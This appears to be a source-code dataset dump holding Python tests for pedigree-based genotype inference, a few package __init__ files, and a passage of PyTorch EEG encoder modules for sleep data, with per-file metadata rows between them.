pedigree.add_individual('individual1',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_individual('individual2',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
recombcost = [1,1,1]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
def test_genotyping_trio5():
reads = """
B 101
B 101
B 101
A 111
A 111
A 111
C 111
C 111
C 101
C 101
"""
expected_genotypes = [[2,2,2] , [2,0,2], [2,1,2]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_individual('individual1',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_individual('individual2',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
recombcost = [2,2,2]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
def test_genotyping_trio6():
reads = """
A 000
A 000
A 010
A 111
A 111
B 111
B 111
C 111
C 000
C 000
"""
expected_genotypes = [[1,1,1] , [2,2,2], [1,1,1]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[1,1,1], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_individual('individual1',[1,1,1], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_individual('individual2',[1,1,1], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
recombcost = [10,10,10]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
def test_genotyping_quartet2():
reads = """
A 111
A 010
A 110
B 001
B 110
B 101
C 001
C 010
C 010
D 001
D 010
D 010
"""
expected_genotypes = [[1,2,0] , [1,1,1], [0,1,1], [0,1,1]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_individual('individual1',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_individual('individual2',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_individual('individual3',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
pedigree.add_relationship('individual0', 'individual1', 'individual3')
recombcost = [10,10,10]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
def test_genotyping_quartet3():
reads = """
A 111111
A 000000
B 010101
B 101010
C 000000
C 010101
D 000000
D 010101
"""
expected_genotypes = [[1,1,1,1,1,1] , [1,1,1,1,1,1], [0,1,0,1,0,1], [0,1,0,1,0,1]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_individual('individual1',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_individual('individual2',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_individual('individual3',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
pedigree.add_relationship('individual0', 'individual1', 'individual3')
recombcost = [3,3,3,3,3,3]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
def test_genotyping_quartet4():
reads = """
A 1111
A 0000
B 1010
C 111000
C 010101
D 000000
D 010
B 0101
C 1100
D 10010
A 0000
A 1111
B 1010
B 0101
"""
expected_genotypes = [[1,1,1,1,1,1] , [1,1,1,1,1,1], [1,2,1,1,0,1], [0,1,0,0,1,0]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_individual('individual1',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_individual('individual2',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_individual('individual3',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
pedigree.add_relationship('individual0', 'individual1', 'individual3')
recombcost = [3,3,3,4,3,3]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
def test_genotyping_trio7():
reads = """
B 100
B 100
B 111
A 111
A 111
A 111
C 111
C 101
C 101
"""
expected_genotypes = [[2,2,2] , [2,1,1], [2,1,2]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_individual('individual1',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_individual('individual2',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
recombcost = [1,1,1]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
def test_genotyping_trio8():
reads = """
B 1100
B 1110
A 1111
A 0000
C 0011
C 1110
"""
expected_genotypes = [[1,1,1,1] , [2,2,1,0], [1,1,2,1]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4)
pedigree.add_individual('individual1',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4)
pedigree.add_individual('individual2',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
recombcost = [10,10,10,10]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
def test_genotyping_trio9():
reads = """
B 1100
B 1100
B 1100
B 1110
B 1110
B 1110
A 1111
A 1111
A 1111
A 0000
A 0000
A 0000
C 0011
C 0011
C 1110
C 1110
"""
expected_genotypes = [[1,1,1,1] , [2,2,1,0], [1,1,2,1]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4)
pedigree.add_individual('individual1',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4)
pedigree.add_individual('individual2',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
recombcost = [10,10,10,10]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
# TODO when using uniform priors (1/3,1/3,1/3) result for child is (0,0.2,0.8)
def test_weighted_genotyping():
reads = """
B 00
B 11
A 11
A 00
C 11
C 11
"""
weights = """
99
99
99
99
99
99
"""
expected_genotypes = [[1,1],[1,1],[2,2]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0,0], [PhredGenotypeLikelihoods(0.25,0.5,0.25)] * 4)
pedigree.add_individual('individual1',[0,0,0,0], [PhredGenotypeLikelihoods(0.25,0.5,0.25)] * 4)
pedigree.add_individual('individual2',[0,0,0,0], [PhredGenotypeLikelihoods(0.25,0.5,0.25)] * 4)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
# recombination is extremely unlikely
recombcost = [1000,1000,1000,1000]
expected = {0: [[0,1,0],[0,1,0]], 1:[[0,1,0],[0,1,0]], 2:[[0,1.0/3.0,2/3.0],[0,1.0/3.0,2/3.0]]}
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes, weights, expected, scaling=500)
def test_genotyping_trio10():
reads = """
B 0000
B 0000
B 0000
B 0000
B 0000
B 0000
A 1111
A 1111
A 1111
A 1111
A 1111
A 1111
"""
# no reads for child, but genotype must be 1/0 for each pos. (due to inheritance)
expected_genotypes = [[2,2,2,2] , [0,0,0,0], [1,1,1,1]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4)
pedigree.add_individual('individual1',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4)
pedigree.add_individual('individual2',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
recombcost = [10,10,10,10]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
def test_genotyping_trio11():
reads = """
A 111
B 110
B 111
C 000
C 110
"""
expected_genotypes = [[1,1,1] , [2,2,1], [1,1,0]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4)
pedigree.add_individual('individual1',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4)
pedigree.add_individual('individual2',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
recombcost = [10,10,10]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes)
# TODO: model fails to infer the correct genotype likelihoods of the child, if uniform priors are used for child.
# according to mendelian inheritance, correct priors here would be:
# A: (0,1,0), B:(0,1,0), C:(0.25,0.5,0.25), but since no reads present for child,
# prior genotyping step would give uniform priors.
def test_genotyping_trio13():
reads = """
A 1111
A 0000
B 1111
B 0000
"""
expected_genotypes = [[1,1,1,1,1,1] , [1,1,1,1,1,1], [1,1,1,1,1,1]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(0,1,0)] * 6)
pedigree.add_individual('individual1',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(0,1,0)] * 6)
pedigree.add_individual('individual2',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(0.25,0.5,0.25)] * 6)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
recombcost = [1000000,1000000,1000000,1000000,1000000,1000000]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes, scaling=1000)
def test_genotyping_trio14():
reads = """
A 111111
A 111111
B 111111
B 000000
C 000000
"""
expected_genotypes = [[2,2,2,2,2,2] , [1,1,1,1,1,1], [1,1,1,1,1,1]]
numeric_sample_ids = NumericSampleIds()
pedigree = Pedigree(numeric_sample_ids)
pedigree.add_individual('individual0',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1/3.0,1/3.0,1/3.0)] * 6)
pedigree.add_individual('individual1',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1/3.0,1/3.0,1/3.0)] * 6)
pedigree.add_individual('individual2',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1/3.0,1/3.0,1/3.0)] * 6)
pedigree.add_relationship('individual0', 'individual1', 'individual2')
recombcost = [1000000,1000000,1000000,1000000,1000000,1000000]
genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes, scaling=1000)
| 36.94274
| 147
| 0.693606
| 2,923
| 18,065
| 4.176531
| 0.060554
| 0.031291
| 0.036615
| 0.04882
| 0.815449
| 0.806684
| 0.79538
| 0.780062
| 0.777031
| 0.775557
| 0
| 0.143396
| 0.134514
| 18,065
| 488
| 148
| 37.018443
| 0.637416
| 0.05065
| 0
| 0.760369
| 0
| 0
| 0.195388
| 0
| 0
| 0
| 0
| 0.002049
| 0.006912
| 1
| 0.046083
| false
| 0
| 0.006912
| 0
| 0.052995
| 0.009217
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2faa901c0ab5511dcdb85dfb83628c3f6524cda8
| 45
|
py
|
Python
|
OMASS4/SNR_Calculation/__init__.py
|
DBernardes/OMASS4
|
30d2edc961463253cc120bc8ca1d74a0a73d922d
|
[
"MIT"
] | null | null | null |
OMASS4/SNR_Calculation/__init__.py
|
DBernardes/OMASS4
|
30d2edc961463253cc120bc8ca1d74a0a73d922d
|
[
"MIT"
] | null | null | null |
OMASS4/SNR_Calculation/__init__.py
|
DBernardes/OMASS4
|
30d2edc961463253cc120bc8ca1d74a0a73d922d
|
[
"MIT"
] | null | null | null |
from .snr_calculation import SNR_Calculation
| 22.5
| 44
| 0.888889
| 6
| 45
| 6.333333
| 0.666667
| 0.736842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.088889
| 45
| 1
| 45
| 45
| 0.926829
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
ff377969b6f15dd32d1d60ed4d7fa820ca5b862f
| 57
|
py
|
Python
|
pbs_util/__init__.py
|
Clyde-fare/pbs_util
|
1c1ed93773a9a020f9216056d2ae49cc0cd589d1
|
[
"BSD-3-Clause"
] | 1
|
2015-08-24T02:48:00.000Z
|
2015-08-24T02:48:00.000Z
|
pbs_util/__init__.py
|
Clyde-fare/pbs_util
|
1c1ed93773a9a020f9216056d2ae49cc0cd589d1
|
[
"BSD-3-Clause"
] | null | null | null |
pbs_util/__init__.py
|
Clyde-fare/pbs_util
|
1c1ed93773a9a020f9216056d2ae49cc0cd589d1
|
[
"BSD-3-Clause"
] | null | null | null |
from pbs import *
import pbs_map
import pbs_map_classes
| 11.4
| 22
| 0.824561
| 10
| 57
| 4.4
| 0.5
| 0.409091
| 0.545455
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.157895
| 57
| 4
| 23
| 14.25
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
ff5f521abc2cab072c02afc2346f6d05a633409f
| 231
|
py
|
Python
|
beagle/header/__init__.py
|
ts03408751/beagle
|
c9c2d37c081768e3fb6dbd88e563deb168c9e33b
|
[
"MIT"
] | null | null | null |
beagle/header/__init__.py
|
ts03408751/beagle
|
c9c2d37c081768e3fb6dbd88e563deb168c9e33b
|
[
"MIT"
] | null | null | null |
beagle/header/__init__.py
|
ts03408751/beagle
|
c9c2d37c081768e3fb6dbd88e563deb168c9e33b
|
[
"MIT"
] | 1
|
2018-10-06T09:01:45.000Z
|
2018-10-06T09:01:45.000Z
|
from .mpu_def import *
from .mpu_accel_fsr_t import *
from .mpu_gyro_fsr_t import *
from .mpu_accel_dlpf_t import *
from .mpu_gyro_dlpf_t import *
from .bmp_def import *
from .bmp_filter_t import *
from .bmp_oversample_t import *
| 23.1
| 31
| 0.787879
| 42
| 231
| 3.904762
| 0.285714
| 0.426829
| 0.335366
| 0.256098
| 0.341463
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 231
| 9
| 32
| 25.666667
| 0.828283
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
4431ae4a75a63fe683d3acd3c4e1d7a92feea815
| 160
|
py
|
Python
|
src/strategies/colors/__init__.py
|
dprslt/aurora
|
3b70c036f01d9b69ae49559c404da79594530041
|
[
"Apache-2.0"
] | null | null | null |
src/strategies/colors/__init__.py
|
dprslt/aurora
|
3b70c036f01d9b69ae49559c404da79594530041
|
[
"Apache-2.0"
] | 17
|
2021-05-08T06:52:03.000Z
|
2021-10-30T16:49:48.000Z
|
src/strategies/colors/__init__.py
|
dprslt/aurora
|
3b70c036f01d9b69ae49559c404da79594530041
|
[
"Apache-2.0"
] | null | null | null |
from strategies.colors.OneCyclePerHour import *
from strategies.colors.OneCyclePerHourNightMode import *
__all__ = [OneCyclePerHour, OneCyclePerHourNightMode]
| 32
| 56
| 0.85625
| 13
| 160
| 10.230769
| 0.538462
| 0.210526
| 0.300752
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.08125
| 160
| 4
| 57
| 40
| 0.904762
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 1
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
444ed3c7e073b7e3f1e7f06641ffc020d051dcc9
| 127,527
|
py
|
Python
|
graphs/models/custom_layers/eeg_encoders.py
|
kkontras/Sleep_net
|
a6a83d4624989cc8a79238e491da06dc22d562b8
|
[
"MIT"
] | 1
|
2022-02-22T02:40:41.000Z
|
2022-02-22T02:40:41.000Z
|
graphs/models/custom_layers/eeg_encoders.py
|
kkontras/Sleep_net
|
a6a83d4624989cc8a79238e491da06dc22d562b8
|
[
"MIT"
] | null | null | null |
graphs/models/custom_layers/eeg_encoders.py
|
kkontras/Sleep_net
|
a6a83d4624989cc8a79238e491da06dc22d562b8
|
[
"MIT"
] | null | null | null |
import torch.nn as nn
import torch
import torch.functional as F
from graphs.models.attention_models.seq_base_models.mLSTM import LSTM
from graphs.models.attention_models.seq_base_models.mTransformerEncoder import Transformer_Encoder, myTransformerEncoderLayer
from graphs.models.attention_models.utils.positionalEncoders import *
import copy
from graphs.models.attention_models.stand_alone_att_vision import *
from graphs.models.attention_models.dynamic_cov import *
from graphs.models.custom_layers.attention import *
from graphs.models.custom_layers.MulilogueNet import *
from graphs.models.custom_layers.LSTHM import *
import einops
from graphs.models.attention_models.ViLBERT import MyViLBERT
class EEG_Encoder_E_3(nn.Module):
def __init__(self, dec):
super().__init__()
self.pad_1 = nn.ReflectionPad2d((5,5,1,1))
# self.pad_1 = nn.ZeroPad2d((5,5,1,1))
self.conv1 = nn.Conv2d(1, 10*dec, kernel_size=(2, 10), stride=(1, 1))
self.pad_2 = nn.ReflectionPad2d((2,2,0,0))
# self.pad_2 = nn.ZeroPad2d((2,2,0,0))
self.conv2 = nn.Conv2d(10*dec, 20*dec, kernel_size=(1, 5), stride=(1, 1))
self.conv3 = nn.Conv2d(20*dec, 20*dec, kernel_size=(4, 1), stride=(1, 1))
self.maxpool = nn.MaxPool2d(kernel_size=(2, 3))
self.maxpool_time = nn.MaxPool2d(kernel_size=(1, 3))
self.relu = torch.nn.ReLU()
self.conv1_bn = nn.BatchNorm2d(1)
def forward(self,x):
x1 = self.relu(self.conv1(self.pad_1(self.conv1_bn(x))))
x2 = self.maxpool(x1)
x3 = self.relu(self.conv2(self.pad_2(x2)))
x4 = self.relu(self.conv3(x3))
x5 = self.maxpool_time(x4)
return x5
class EEG_Encoder_Ch(nn.Module):
def __init__(self, dec):
super().__init__()
self.pad_1 = nn.ReflectionPad1d(2)
self.conv1 = nn.Conv1d(1, 20*dec, kernel_size=5, stride=1)
self.conv2 = nn.Conv1d(20*dec, 80*dec, kernel_size=1, stride=1)
self.conv3 = nn.Conv1d(80*dec, 160*dec, kernel_size=3, stride=1)
self.conv4 = nn.Conv1d(160*dec, 80*dec, kernel_size=1, stride=1)
self.conv5 = nn.Conv1d(80*dec, 40*dec, kernel_size=3, stride=1)
self.conv6 = nn.Conv1d(40*dec, 20*dec, kernel_size=1, stride=1)
self.pad_2 = nn.ReflectionPad1d(1)
# self.pad_2 = nn.ZeroPad2d((2,2,0,0))
# self.conv2 = nn.Conv1d(10*dec, 20*dec, kernel_size=5, stride=1)
self.maxpool_time = nn.MaxPool1d(4)
# self.maxpool_time = nn.AdaptiveAvgPool1d(225)
self.mypool = nn.Conv1d(10*dec, 10*dec, kernel_size=4, stride=4)
self.relu = torch.nn.ReLU()
self.conv1_bn = nn.BatchNorm1d(1)
self.conv2_bn = nn.BatchNorm1d(10*dec)
# self.alpha = nn.Parameter(torch.randn(10*dec, 4),requires_grad=True)
# self.softmax = nn.Softmax(dim=1)
def forward(self,x):
x = self.relu(self.conv1(self.pad_1(x)))
x = self.relu(self.conv2(x))
x = self.maxpool_time(x)
x = self.relu(self.conv3(self.pad_2(x)))
x = self.relu(self.conv4(x))
x = self.maxpool_time(x)
x = self.relu(self.conv5(self.pad_2(x)))
x = self.relu(self.conv6(x))
# x = self.maxpool_time(x)
return x
class EEG_Encoder_TFN(nn.Module):
def __init__(self, dec, d):
super().__init__()
self.conv_ch = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 64*dec, kernel_size=(1, 5), bias=False),
nn.ReLU(),
nn.MaxPool2d((1,2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), bias=False),
nn.ReLU(),
nn.MaxPool2d((1,2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(128*dec, 2 * dec, kernel_size=(1, 5), bias=False),
nn.ReLU(),
nn.AvgPool2d((1,56))
)
self.conv_all = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 64*dec, kernel_size=(1, 5), bias=False),
nn.ReLU(),
nn.MaxPool2d((1,2)),
nn.ReflectionPad2d((2, 2, 1, 1)),
nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), bias=False),
nn.ReLU(),
nn.MaxPool2d((1,2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(128*dec, 14 * dec, kernel_size=(2, 5), bias=False),
nn.ReLU(),
nn.AvgPool2d((1,56))
)
def forward(self,x):
x_all = self.conv_all(x)
x_all = x_all.flatten(start_dim=1,end_dim=2).unsqueeze(dim=2)
m = []
for i in range(8):
a =x[:,:,i,:]
# print(a.shape)
m.append(self.conv_ch(a.unsqueeze(dim=2)))
m = torch.cat(m,dim=1)
x = torch.cat([x_all,m],dim=1)
return x
class EEG_Encoder_MultiToken(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
# self.maxpool = nn.MaxPool2d(kernel_size=(1, 4))
# self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7)
dmodel = 32 * dec
self.conv_eeg = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, dmodel, kernel_size=(2, 5), stride=(1, 2), bias=False),
# nn.ReLU(),
)
self.conv_eog = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False),
# nn.ReLU(),
)
self.interm_eeg_conv_0 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(dmodel, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False),
# nn.ReLU(),
)
self.interm_eog_conv_0 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(dmodel, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False),
# nn.ReLU(),
)
self.interm_eeg_conv_1 = nn.Sequential(
nn.ReflectionPad2d((1, 2, 0, 0)),
nn.Conv2d(dmodel, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False),
# nn.ReLU(),
)
self.interm_eog_conv_1 = nn.Sequential(
nn.ReflectionPad2d((1, 2, 0, 0)),
nn.Conv2d(dmodel, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False),
# nn.ReLU(),
)
# self.latent = nn.Parameter(torch.randn(16, 8, dmodel))
self.cls_token = nn.Parameter(torch.randn(1, dmodel,1, 1))
# self.cls_token = torch.cat([self.cls_token]*22, dim=0)
self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8)
transformer_type = globals()[transformer_type]
self.att1_eeg = transformer_type(dmodel, 1)
self.att1_eog = transformer_type(dmodel, 1)
# self.att1_1 = My_Transformer_Layer(dmodel*450)
self.att2_eeg = transformer_type(dmodel, 1)
self.att2_eog = transformer_type(dmodel, 1)
# self.att2_1 = My_Transformer_Layer(dmodel*2*225)
self.att3_eeg = transformer_type(dmodel, 1)
self.att3_eog = transformer_type(dmodel, 1)
# self.att3_1 = My_Transformer_Layer(16 * dec*112)
self.avg_1 = nn.AvgPool2d(kernel_size=(1, 1500))
self.avg_2 = nn.AvgPool2d(kernel_size=(1, 750))
self.avg_3 = nn.AvgPool2d(kernel_size=(1, 375))
# self.avg = nn.AvgPool2d(kernel_size=(1, 23))
def forward(self,x):
x_shape = x[0].shape
if len(x_shape)>4:
for i in range(len(x)):
x[i] = x[i].flatten(start_dim=0, end_dim=1)
xeeg = self.conv_eeg(x[0])
xeog = self.conv_eog(x[1])
xeeg_inshape = xeeg.shape
xeog_inshape = xeog.shape
xeeg = self.pos(xeeg.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(xeeg_inshape)
xeog = self.pos(xeog.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(xeog_inshape)
# print(x.shape)
xeeg = self.att1_eeg(xeeg)
xeog = self.att1_eog(xeog)
eeg_token = self.avg_1(xeeg)
eog_token = self.avg_1(xeog)
xeeg = self.interm_eeg_conv_0(xeeg)
xeog = self.interm_eog_conv_0(xeog)
xeeg = torch.cat([xeeg, eog_token], dim=3)
xeog = torch.cat([xeog, eeg_token], dim=3)
xeeg = self.att2_eeg(xeeg)
xeog = self.att2_eog(xeog)
eeg_token = self.avg_2(xeeg[:,:,:,:-1])
eog_token = self.avg_2(xeog[:,:,:,:-1])
eeg_p_token = xeeg[:,:,:,-1].unsqueeze(dim=3)
eog_p_token = xeog[:,:,:,-1].unsqueeze(dim=3)
xeeg = self.interm_eeg_conv_1(xeeg)
xeog = self.interm_eog_conv_1(xeog)
xeeg = torch.cat([xeeg, eog_p_token, eog_token, self.cls_token.repeat(xeeg_inshape[0],1,1,1)], dim=3)
xeog = torch.cat([xeog, eeg_p_token, eeg_token, self.cls_token.repeat(xeeg_inshape[0],1,1,1)], dim=3)
xeeg = self.att3_eeg(xeeg)
xeog = self.att3_eog(xeog)
xm_eeg = self.avg_3(xeeg[:,:,:,:-3])
xm_eog = self.avg_3(xeog[:,:,:,:-3])
multi1_eeg = xeeg[:,:,:,-3].unsqueeze(dim=3)
multi2_eeg = xeeg[:,:,:,-2].unsqueeze(dim=3)
cls_eeg = xeeg[:,:,:,-1].unsqueeze(dim=3)
multi1_eog = xeog[:,:,:,-3].unsqueeze(dim=3)
multi2_eog = xeog[:,:,:,-2].unsqueeze(dim=3)
cls_eog = xeog[:,:,:,-1].unsqueeze(dim=3)
out = torch.cat([xm_eeg, multi1_eeg, multi2_eeg, cls_eeg, xm_eog, multi1_eog, multi2_eog, cls_eog],dim=1)
return out
class EEG_Encoder_Single(nn.Module):
